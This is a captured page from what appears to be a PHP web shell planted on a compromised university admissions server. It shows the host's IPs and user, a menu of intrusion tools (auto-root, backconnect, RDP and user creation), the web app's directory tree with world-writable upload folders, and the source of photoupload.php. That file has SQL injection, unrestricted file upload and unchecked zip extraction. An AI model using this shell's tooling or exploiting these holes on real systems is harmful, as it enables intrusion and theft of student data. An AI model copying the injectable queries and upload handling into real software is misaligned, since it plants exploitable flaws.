Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.59.54.188
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
acu /
[ HOME SHELL ]
Name
Size
Permission
Action
ExcelWriterXML
[ DIR ]
drwxr-xr-x
Excel_Writer
[ DIR ]
drwxr-xr-x
Excel_reader
[ DIR ]
drwxr-xr-x
JQGrid3.5
[ DIR ]
drwxr-xr-x
Open_Sans
[ DIR ]
drwxr-xr-x
PHPExcel
[ DIR ]
drwxr-xr-x
Report_details
[ DIR ]
drwxr-xr-x
adm
[ DIR ]
drwxr-xr-x
admupload
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxr-xr-x
css_11092018
[ DIR ]
drwxr-xr-x
custom_js
[ DIR ]
drwxr-xr-x
custom_src
[ DIR ]
drwxr-xr-x
docs
[ DIR ]
drwxr-xr-x
docverify
[ DIR ]
drwxr-xr-x
easy_zip
[ DIR ]
drwxr-xr-x
gradlist
[ DIR ]
drwxr-xr-x
grid
[ DIR ]
drwxr-xr-x
grid_display_files
[ DIR ]
drwxr-xr-x
gridsrch
[ DIR ]
drwxr-xr-x
halltickets
[ DIR ]
drwxrwxrwx
halltickets_old
[ DIR ]
drwxr-xr-x
halltickets_wait
[ DIR ]
drwxr-xr-x
html_modules
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
imported_files
[ DIR ]
drwxrwxrwx
jqGrid4
[ DIR ]
drwxr-xr-x
jqgridn3.5
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
maya-pdf
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
student_photos
[ DIR ]
drwxrwxrwx
tarka_pdf
[ DIR ]
drwxr-xr-x
tarka_pdf_latest
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
teacher_photos
[ DIR ]
drwxrwxrwx
tmpphotos
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
MainPage.html
17.79
KB
-rwxr-xr-x
MainPage_11092018.html
11.64
KB
-rwxr-xr-x
MainPagepopup.html
7.05
KB
-rwxr-xr-x
MainPagepopup_11092018.html
7.05
KB
-rwxr-xr-x
Thumbs.db
464
KB
-rwxr-xr-x
admStatistics.php
5.12
KB
-rwxr-xr-x
admcollsum.php
4.45
KB
-rwxr-xr-x
admcollsum_college.php
5
KB
-rwxr-xr-x
admdatasummary.html
2.4
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.09
KB
-rwxr-xr-x
collegeInfoPopup.html
4.25
KB
-rwxr-xr-x
docverify.php
818
B
-rwxr-xr-x
homepage.html
3.35
KB
-rwxr-xr-x
homepage_11092018.html
3.05
KB
-rwxr-xr-x
index.php
83
B
-rwxr-xr-x
index_11092018.html
7.27
KB
-rwxr-xr-x
index_stop.html
6.18
KB
-rwxr-xr-x
indexlogin.html
5.99
KB
-rwxr-xr-x
indexlogin_11092018.html
5.74
KB
-rwxr-xr-x
krvw_oasis__2020-06-29.zip
322
B
-rwxr-xr-x
krvw_oasis__2020-07-06.zip
322
B
-rwxr-xr-x
krvw_oasis__2020-08-10.zip
322
B
-rwxr-xr-x
kusPhdAdm.js
29.03
KB
-rwxr-xr-x
mcverifydet.php
14.83
KB
-rwxr-xr-x
mregistry.php
3.76
KB
-rwxr-xr-x
mverifytranscript.php
14.62
KB
-rwxr-xr-x
new.gif
197
B
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
student.php
11.45
KB
-rwxr-xr-x
verification.php
2.68
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : photoupload.php
<?php // DateTime.Now.Second.ToString() session_start(); ini_set('upload_max_filesize', '10M'); ini_set('post_max_size', '10M'); ini_set('max_input_time', 300); ini_set('max_execution_time', 300); function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function viewStudInfoToupload($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $degree_code = $aobj_context->mobj_data['degreeCode']; $_SESSION['degree_codeImgUp']=$degree_code; $RegNo_start = substr("00000000".$aobj_context->mobj_data["regStart"],-8); $RegNo_end = substr("ZZZZZZZZ".$aobj_context->mobj_data["regEnd"],-8); $get_studentInfo = "select * from student where fcollcode = '{$college_code}' and fdegree ='{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}'"; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); $get_currentDate="select CONCAT(DATE_FORMAT(NOW(),'%Y'),DATE_FORMAT(NOW(),'%m'),DATE_FORMAT(NOW(),'%d'),DATE_FORMAT(CURTIME(),'%r')) as currentDate"; $lobj_get_currentDate=$aobj_context->mobj_db->getRow($get_currentDate); $currentDate = $lobj_get_currentDate[currentDate]; if($lobj_get_studentInfo) { $e_data.="<table align = 'center' width='100%' cellspacing='0' cellpadding='1' border='0' >"; $e_data.="<th align='left' colspan='6' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Photo Upload List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td align='center' style='width:55px; font-size:12px; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sl.No.</td>"; $e_data.="<td align='center' style='width:105px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Register No.</td>"; $e_data.="<td align='center' style='width:205px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Name</td>"; $e_data.="<td align='center' style='width:105px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Degree Code</td>"; $e_data.="<td align='center' style='width:155px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Photo</td>"; $e_data.="</tr>"; $k=0; $id=1; $m=0; //var_dump($lobj_get_moudle_names); die(); $counter_degree = 1; foreach($lobj_get_studentInfo as $key=>$value) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } $image_src=''; $photo_path=$value[FPHOTOPATH]; if(!empty($photo_path) && file_exists($photo_path)) { $image_src=$photo_path.'?'.$currentDate; } else { $image_src="images/default_photo.jpg"; } $f_regno = $value[FREGNO]; $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td class='tbl_row_new' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center; ' id='it_cnt_{$id}' >{$counter_degree}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center; ' id='it_mname_{$id}' >{$value[FREGNO]}</td>"; $e_data.="<td class='tbl_row_new' style=' border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' id='it_dname_{$id}' >{$value[FNAME]}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px; text-align:center;' id='it_mname_{$id}' >{$value[FDEGREE]}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px;height:120px;width:200px;' id='it_mname_{$id}' ><span style='margin-left:20px;background:#EEEEE;'><img src='{$image_src}' id='student_entry_photo_{$id}' width='100px' height='70px'/></span><div><span ><input type='hidden' id='hd_regno_{$id}' value='{$f_regno}'><input type='file' id='student_entry_upload_{$id}' name='student_entry_upload_{$id}' onchange='UserSelectedPhotoDisplay({$id});' style='width:75px'></sapn><span style='padding:5px 5px;'><input type='submit' value='Upload' onclick='UserSelectedPhotoUpload({$id})'></span></div></td>"; $e_data.="</tr>"; $k++; $id++; $m++; $counter_degree++; } $e_data.="</table>"; $arr['total_count']= $m; $arr['html']=$e_data; $arr['error']=0; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $error_data = 'No Records Found.. '; echo $aobj_context->mobj_output->ToJSONEnvelope($error_data,-1,"failure"); return; } } function UserSelectedPhotoDisplay($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); ini_set('post_max_size', '64M'); ini_set('upload_max_filesize', '64M'); session_start(); $collcode = $_SESSION['collcode']; $user_id = $_SESSION['user_id']; $img_index = $aobj_context->mobj_data['index']; //$registration_numb = $aobj_context->mobj_data['regno']; $college_path=$aobj_context->main_src."/student_photos/{$collcode}"; $folder_path=$aobj_context->main_src."/student_photos/{$college_code}/".replaceChars(strtolower($degree_code)); $file_name=replaceChars(basename($_FILES['student_entry_upload']['name'])); $path_arr=pathinfo($_FILES['student_entry_upload']['name']); $file_ext=$path_arr['extension']; $temp_path=$aobj_context->main_src."/misc_files/temp"; if(!file_exists($temp_path)) { mkdir($temp_path); } $file_path="/{$collcode}_{$user_id}_{$file_name}"; $temp_path.=$file_path; if(isset($_FILES['student_entry_upload_'.$img_index]['name']) && $_FILES['student_entry_upload_'.$img_index]['name'] != '') { $size=($_FILES['student_entry_upload_'.$img_index]['size']/1024); if($size>1024) { $data="Please Upload the Photo of size less than 1 MB"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"success"); return; } if(move_uploaded_file($_FILES['student_entry_upload']['tmp_name'],$temp_path)) { $data="student_photos/temp/{$file_path}"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; } } echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } function saveuserselectedphotofile($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); include_once("pclzip.lib.php"); $degree_code = $_SESSION['degree_codeImgUp']; $college_code = $_SESSION['collcode']; $foldertype = $aobj_context->mobj_data['type']; $examination = $aobj_context->mobj_data['examination']; $folder_path = $aobj_context->main_src."/student_photos/".$college_code; //var_dump($folder_path); $desDirectry = $aobj_context->main_src."/student_photos/".$college_code; $file_name=basename($_FILES['student_entry_upload']['name']); $type = basename($_FILES['student_entry_upload']['type']); $path_arr = pathinfo($_FILES['student_entry_upload']['name']); $file_ext = $path_arr['extension']; $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path = $folder_path.'/'.$file_name; //var_dump($full_file_path); $file = substr($full_file_path, 0, -4); //var_dump($file); if(!is_dir($desDirectry)) { mkdir($desDirectry); chmod($desDirectry,0777); } $subdir = $desDirectry.'/'.strtolower($foldertype); if(!is_dir($subdir)) { mkdir($subdir); chmod($subdir,0777); } $full_file_path = $subdir.'/'.$file_name ; //$image_path="student_photos/{$college_code}/".replaceChars(strtolower($degree_code)).'/'.$regno_index.".".$ext; $photo_path=""; //var_dump($_FILES['student_entry_upload']['name']); if(isset($_FILES['student_entry_upload']['name']) && $_FILES['student_entry_upload']['name'] != '') { if(move_uploaded_file($_FILES['student_entry_upload']['tmp_name'],$full_file_path)) { $zip = new ZipArchive; if ($zip->open($full_file_path) === TRUE) { $zip->extractTo($subdir); rename($file, $subdir.'/'.$foldertype); //$zip->renameName('currentname.txt','newname.txt'); $zip->close(); $arr='File Extracted!'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr='Error '; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } /* $zipfile = new PclZip("{$full_file_path}"); if ($zipfile -> extract() == 0) { //echo 'Error : ' . $zipfile -> errorInfo(true); $arr='Error : '. $zipfile -> errorInfo(true); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } else { // echo 'File Extracted!'; $arr='File Extracted!'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } */ } } else { $arr='Photo Uploaded Failed'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function getdegreecode($aobj_context) { $query = "select distinct FDEGREE as internal_code, CONCAT(FDEGREE,' - ',FDESCPN) as value from degree order by fdegree,fdescpn "; $results = $aobj_context->mobj_db->GetAll($query); $arr['FDEGREE']=$results; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } ?>
Close